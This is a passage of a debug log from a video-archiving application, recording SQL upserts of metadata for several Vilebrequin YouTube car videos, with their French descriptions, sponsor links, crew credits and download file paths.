(?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Un énorme merci à NordVPN :\nEn ce moment 4 mois gratuits en passant par ce lien 👉 https://nordvpn.com/vilebrequin\n( Satisfait ou remboursé pendant 30 jours )\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n-------------------------------------------------------------------\nMerci à Moteur & Sens pour le prêt de cette superbe Ford GT, pour voir le showroom ( qui vaut le détour ) :\nInstagram : https://www.instagram.com/moteuretsens/\n\nMerci à l’autodrome de UTAC Linas Monthléry pour le prêt de leur anneau de vitesse, pour assister à leurs événements : \nhttps://www.utac.com/fr/vos-besoins/festivals-de-voitures-motos/\n\n-------------------------------------------------------------------\n\nMontage Sponso : Romain ( Prospère ) Desveaux \nTwitter : https://twitter.com/ProspereLucel\n\nMontage vidéo : Pierre Bouillot\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#ford #gt #lemans", "Essai Ford GT : la supercar oubliée", "04607f7b-f566-4ac4-ae09-d96f48d814c0", "-T_CoEUkFBE", 1667, false, "https://www.youtube.com/watch?v=-T_CoEUkFBE", 7, "/downloads/Vilebrequin/2023-10-26 Essai Ford GT : la supercar oubliée/Essai Ford GT : la supercar oubliée [-T_CoEUkFBE].mkv", false, false, false, 1, [], 98, ~U[2023-10-26 16:15:00Z], ~U[2026-04-20 05:43:35Z], ~U[2026-04-20 05:43:35Z], "Un énorme merci à NordVPN :\nEn ce moment 4 mois gratuits en passant par ce lien 👉 https://nordvpn.com/vilebrequin\n( Satisfait ou remboursé pendant 30 jours )\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n-------------------------------------------------------------------\nMerci à Moteur & Sens pour le prêt de cette superbe Ford GT, pour voir le showroom ( qui vaut le détour ) :\nInstagram : https://www.instagram.com/moteuretsens/\n\nMerci à l’autodrome de UTAC Linas Monthléry pour le prêt de leur anneau de vitesse, pour assister à leurs événements : \nhttps://www.utac.com/fr/vos-besoins/festivals-de-voitures-motos/\n\n-------------------------------------------------------------------\n\nMontage Sponso : Romain ( Prospère ) Desveaux \nTwitter : https://twitter.com/ProspereLucel\n\nMontage vidéo : Pierre Bouillot\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#ford #gt #lemans", "Essai Ford GT : la supercar oubliée", "-T_CoEUkFBE", 1667, false, "https://www.youtube.com/watch?v=-T_CoEUkFBE", "/downloads/Vilebrequin/2023-10-26 Essai Ford GT : la supercar oubliée/Essai Ford GT : la supercar oubliée [-T_CoEUkFBE].mkv", false, 1, ~U[2023-10-26 16:15:00Z]] 07:43:35.054 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=47.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:43:35.059 [debug] QUERY OK source="media_items" db=4.2ms queue=0.1ms idle=45.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-19 16:15:00Z], 1] 07:43:35.064 [debug] QUERY OK source="media_items" db=3.4ms idle=47.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n-------------------------------------------------------------------\n\nMerci à Arthur et Joseph de la fabrique auto pour le nouveau décor. \nhttps://www.instagram.com/lafabriqueauto/\n\nMontage : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\n-------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#fordisme #nouveaudécor #66", "Vultech FORD ( et Carroll Shelby )", "9ce3ef92-4eba-4256-a0ae-730ac3eb230a", "SBgLYUbmG4Y", 2430, false, "https://www.youtube.com/watch?v=SBgLYUbmG4Y", 8, "/downloads/Vilebrequin/2023-10-19 Vultech FORD ( et Carroll Shelby )/Vultech FORD ( et Carroll Shelby ) [SBgLYUbmG4Y].mkv", false, false, false, 1, [], 98, ~U[2023-10-19 16:15:00Z], ~U[2026-04-20 05:43:35Z], ~U[2026-04-20 05:43:35Z], "👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n-------------------------------------------------------------------\n\nMerci à Arthur et Joseph de la fabrique auto pour le nouveau décor. \nhttps://www.instagram.com/lafabriqueauto/\n\nMontage : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\n-------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#fordisme #nouveaudécor #66", "Vultech FORD ( et Carroll Shelby )", "SBgLYUbmG4Y", 2430, false, "https://www.youtube.com/watch?v=SBgLYUbmG4Y", "/downloads/Vilebrequin/2023-10-19 Vultech FORD ( et Carroll Shelby )/Vultech FORD ( et Carroll Shelby ) [SBgLYUbmG4Y].mkv", false, 1, ~U[2023-10-19 16:15:00Z]] 07:43:35.066 [debug] QUERY OK source="sources" db=1.0ms idle=47.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:43:35.071 [debug] QUERY OK source="media_items" db=4.4ms idle=14.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-12 16:15:02Z], 1] 07:43:35.086 [debug] QUERY OK source="media_items" db=13.2ms idle=17.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["10% de réduction avec le code “Vilebrequin” sur l’ensemble du catalogue Oscaro pour les 1000 premières commandes ( chacun valable pendant 1 semaine )\nLien vers le site 👉 http://bit.ly/46fWzLf\n\nCommunication Commerciale \n\n-------------------------------------------------------------------\n\nProduction : Anaëlle LE MAGOROU et Cassandra BORIE\nAgent : Joséphine GODARD\nOPV : Lucas MARTIN, Hugo LECLERC et Raphaël CHICHE \nSon : Alan POIRIER\nDrone : Adrien LOISON\nRégisseur plateau : Thierry Marat et François Chatal\n\nMontage : Thibaut Iacolare\n\nMontage Sponso : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\nEt la spéciale dédicace aux concepteurs du PIANO fou : Joseph SHUMAN et Arthur MORAULT \nInstagram : https://www.instagram.com/lafabriqueauto/\n\nMerci à l'aérodrome de Brienne Le Château, et en particulier Nathalie, pour la location de la piste\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#EXPERIENCE #Phaetonw12 #DELIRE", "Rouler AVEC 1 CYLINDRE : ÇA FAIT QUOI ?", "44e7acf3-aa5d-4472-ad06-c215e6b67b00", "QrY57Hf8Ss8", 2170, false, "https://www.youtube.com/watch?v=QrY57Hf8Ss8", 9, "/downloads/Vilebrequin/2023-10-12 Rouler AVEC 1 CYLINDRE : ÇA FAIT QUOI ?/Rouler AVEC 1 CYLINDRE : ÇA FAIT QUOI ? [QrY57Hf8Ss8].mkv", false, false, false, 1, [], 98, ~U[2023-10-12 16:15:02Z], ~U[2026-04-20 05:43:35Z], ~U[2026-04-20 05:43:35Z], "10% de réduction avec le code “Vilebrequin” sur l’ensemble du catalogue Oscaro pour les 1000 premières commandes ( chacun valable pendant 1 semaine )\nLien vers le site 👉 http://bit.ly/46fWzLf\n\nCommunication Commerciale \n\n-------------------------------------------------------------------\n\nProduction : Anaëlle LE MAGOROU et Cassandra BORIE\nAgent : Joséphine GODARD\nOPV : Lucas MARTIN, Hugo LECLERC et Raphaël CHICHE \nSon : Alan POIRIER\nDrone : Adrien LOISON\nRégisseur plateau : Thierry Marat et François Chatal\n\nMontage : Thibaut Iacolare\n\nMontage Sponso : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\nEt la spéciale dédicace aux concepteurs du PIANO fou : Joseph SHUMAN et Arthur MORAULT \nInstagram : https://www.instagram.com/lafabriqueauto/\n\nMerci à l'aérodrome de Brienne Le Château, et en particulier Nathalie, pour la location de la piste\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#EXPERIENCE #Phaetonw12 #DELIRE", "Rouler AVEC 1 CYLINDRE : ÇA FAIT QUOI ?", "QrY57Hf8Ss8", 2170, false, "https://www.youtube.com/watch?v=QrY57Hf8Ss8", "/downloads/Vilebrequin/2023-10-12 Rouler AVEC 1 CYLINDRE : ÇA FAIT QUOI ?/Rouler AVEC 1 CYLINDRE : ÇA FAIT QUOI ? [QrY57Hf8Ss8].mkv", false, 1, ~U[2023-10-12 16:15:02Z]] 07:43:35.087 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=27.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:43:35.091 [debug] QUERY OK source="media_items" db=3.5ms queue=0.1ms idle=24.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-05 16:15:05Z], 1] 07:43:35.526 [debug] QUERY OK source="media_items" db=433.0ms idle=25.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Téléchargez REVOLUT gratuitement avec notre lien : https://revolut.onelink.me/z4lF/vilebrequin3\nVous pourrez débloquer les 20 € et participer au tirage au sort pour gagner 1 000€ (voir conditions générales)\nCommunication commerciale.\n\nMerci à Maghla et Amixem pour leur présence ( et leur abnégation )\n\nChaine de Maghla : https://www.youtube.com/@Maghla\nChaîne de Amixem : https://www.youtube.com/@Amixem\n\n-------------------------------------------------------------------\n\nUn immense merci à toute l'équipe de tournage :\n\nProduction : Anaëlle LE MAGOROU et Cassandra BORIE\nAgent : Joséphine GODARD\nOPV : Lucas MARTIN, Hugo LECLERC et Pierre BOUILLOT\nAssistant OPV : Axel ROGUET\nSon : Alan POIRIER\nDrone : Adrien LOISON\nRégisseur plateau : Baptiste SEYSEN et Alexandra COLLARO\nMontage : Baptiste Moal ( https://www.instagram.com/bapt.ml/ )\n\nEt la spéciale dédicace aux dépanneurs Joseph SHUMAN et Arthur MORAULT \nInstagram : https://www.instagram.com/lafabriqueauto/\n\nAinsi qu'à l'entreprise NOBLET pour le salon suspendu et ce canapé plus que confortable. \n\n-------------------------------------------------------------------\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n-------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#CONCEPT #DESTRUCTION #ASSURANCE", "IL N’EN RESTERA QU’UN #2 (ft. Maghla & Amixem)", "2aa1621f-51d4-49e2-bea5-9df93f1896a4", "sANRmxhTRJY", 2563, false, "https://www.youtube.com/watch?v=sANRmxhTRJY", 10, "/downloads/Vilebrequin/2023-10-05 IL N’EN RESTERA QU’UN #2 (ft. Maghla & Amixem)/IL N’EN RESTERA QU’UN #2 (ft. Maghla & Amixem) [sANRmxhTRJY].mkv", false, false, false, 1, [], 98, ~U[2023-10-05 16:15:05Z], ~U[2026-04-20 05:43:35Z], ~U[2026-04-20 05:43:35Z], "Téléchargez REVOLUT gratuitement avec notre lien : https://revolut.onelink.me/z4lF/vilebrequin3\nVous pourrez débloquer les 20 € et participer au tirage au sort pour gagner 1 000€ (voir conditions générales)\nCommunication commerciale.\n\nMerci à Maghla et Amixem pour leur présence ( et leur abnégation )\n\nChaine de Maghla : https://www.youtube.com/@Maghla\nChaîne de Amixem : https://www.youtube.com/@Amixem\n\n-------------------------------------------------------------------\n\nUn immense merci à toute l'équipe de tournage :\n\nProduction : Anaëlle LE MAGOROU et Cassandra BORIE\nAgent : Joséphine GODARD\nOPV : Lucas MARTIN, Hugo LECLERC et Pierre BOUILLOT\nAssistant OPV : Axel ROGUET\nSon : Alan POIRIER\nDrone : Adrien LOISON\nRégisseur plateau : Baptiste SEYSEN et Alexandra COLLARO\nMontage : Baptiste Moal ( https://www.instagram.com/bapt.ml/ )\n\nEt la spéciale dédicace aux dépanneurs Joseph SHUMAN et Arthur MORAULT \nInstagram : https://www.instagram.com/lafabriqueauto/\n\nAinsi qu'à l'entreprise NOBLET pour le salon suspendu et ce canapé plus que confortable. \n\n-------------------------------------------------------------------\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n-------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#CONCEPT #DESTRUCTION #ASSURANCE", "IL N’EN RESTERA QU’UN #2 (ft. Maghla & Amixem)", "sANRmxhTRJY", 2563, false, "https://www.youtube.com/watch?v=sANRmxhTRJY", "/downloads/Vilebrequin/2023-10-05 IL N’EN RESTERA QU’UN #2 (ft. Maghla & Amixem)/IL N’EN RESTERA QU’UN #2 (ft. Maghla & Amixem) [sANRmxhTRJY].mkv", false, 1, ~U[2023-10-05 16:15:05Z]] 07:43:35.527 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=441.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:43:35.532 [debug] QUERY OK source="media_items" db=4.4ms queue=0.1ms idle=440.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-28 16:44:41Z], 1] 07:43:35.604 [debug] QUERY OK source="media_items" db=69.5ms queue=0.1ms idle=441.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Un énorme merci à NordVPN :\nEn ce moment 4 mois gratuits en passant par ce lien 👉 https://nordvpn.com/vilebrequin\n( Satisfait ou remboursé pendant 30 jours )\n\nUn grand merci à tous les invités qui ont accepté de participer au format : Squeezie, EtienneMoustache, Kaatsup, DepieloF1, Amixem, BagheraJones, HortyUnderscore, MisterV, SosoManess, Grim , LeBouseuh, Cocottee, CodJordan23, Maghla, Théodort, Théo Juice, Xavier Pincemin, Billy, AnaOnAir, Etoiles et Gotaga\nManon Lanza, SCH et Maxime Biaggi ont préféré décliner notre invitation à participer au format. \n\nÉquipes techniques :\nProduction : Cassandra Borie ; Anaelle Le Magorou \nJournalistes : Lauriane Dherbecourt, Pierre Pissavy, Julia Durrande, Alexandre Cayuela\nChef Opérateur : Lucas Martin\nCadre : Vincent Cordier\nSon : Alan Poirier\nRégie : Alexandra Collaro\nDrone : Adrien Loison\n\n-------------------------------------------------------------------\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMontage : \nChef Monteur : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\nAssistant Monteur : Thibault Iacolare\nBaptiste Moal ( https://www.instagram.com/bapt.ml/ )\n\nMontage Sponso : Romain ( Prospère ) Desveaux \nTwitter : https://twitter.com/ProspereLucel\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\nP.S.: Cette vidéo n'est pas sponsorisée par McDonalds. Mais on remercie quand même le restaurant du Mans pour leur aide ( on a vraiment mis une F4 dans un McDrive )\n\n#gpexplorer #F4 #lescoupesalamaison", "McDrive to Survive 2 : GP Explorer 2023", "680825c3-0bd3-4bb5-b6bf-dde90ab82685", "Uav2fXWM2k8", 3094, false, "https://www.youtube.com/watch?v=Uav2fXWM2k8", 11, "/downloads/Vilebrequin/2023-09-28 McDrive to Survive 2 : GP Explorer 2023/McDrive to Survive 2 : GP Explorer 2023 [Uav2fXWM2k8].mkv", false, false, false, 1, [], 98, ~U[2023-09-28 16:44:41Z], ~U[2026-04-20 05:43:35Z], ~U[2026-04-20 05:43:35Z], "Un énorme merci à NordVPN :\nEn ce moment 4 mois gratuits en passant par ce lien 👉 https://nordvpn.com/vilebrequin\n( Satisfait ou remboursé pendant 30 jours )\n\nUn grand merci à tous les invités qui ont accepté de participer au format : Squeezie, EtienneMoustache, Kaatsup, DepieloF1, Amixem, BagheraJones, HortyUnderscore, MisterV, SosoManess, Grim , LeBouseuh, Cocottee, CodJordan23, Maghla, Théodort, Théo Juice, Xavier Pincemin, Billy, AnaOnAir, Etoiles et Gotaga\nManon Lanza, SCH et Maxime Biaggi ont préféré décliner notre invitation à participer au format. \n\nÉquipes techniques :\nProduction : Cassandra Borie ; Anaelle Le Magorou \nJournalistes : Lauriane Dherbecourt, Pierre Pissavy, Julia Durrande, Alexandre Cayuela\nChef Opérateur : Lucas Martin\nCadre : Vincent Cordier\nSon : Alan Poirier\nRégie : Alexandra Collaro\nDrone : Adrien Loison\n\n-------------------------------------------------------------------\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMontage : \nChef Monteur : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\nAssistant Monteur : Thibault Iacolare\nBaptiste Moal ( https://www.instagram.com/bapt.ml/ )\n\nMontage Sponso : Romain ( Prospère ) Desveaux \nTwitter : https://twitter.com/ProspereLucel\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\nP.S.: Cette vidéo n'est pas sponsorisée par McDonalds. Mais on remercie quand même le restaurant du Mans pour leur aide ( on a vraiment mis une F4 dans un McDrive )\n\n#gpexplorer #F4 #lescoupesalamaison", "McDrive to Survive 2 : GP Explorer 2023", "Uav2fXWM2k8", 3094, false, "https://www.youtube.com/watch?v=Uav2fXWM2k8", "/downloads/Vilebrequin/2023-09-28 McDrive to Survive 2 : GP Explorer 2023/McDrive to Survive 2 : GP Explorer 2023 [Uav2fXWM2k8].mkv", false, 1, ~U[2023-09-28 16:44:41Z]] 07:43:35.606 [debug] QUERY OK source="sources" db=1.9ms queue=0.1ms idle=436.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", 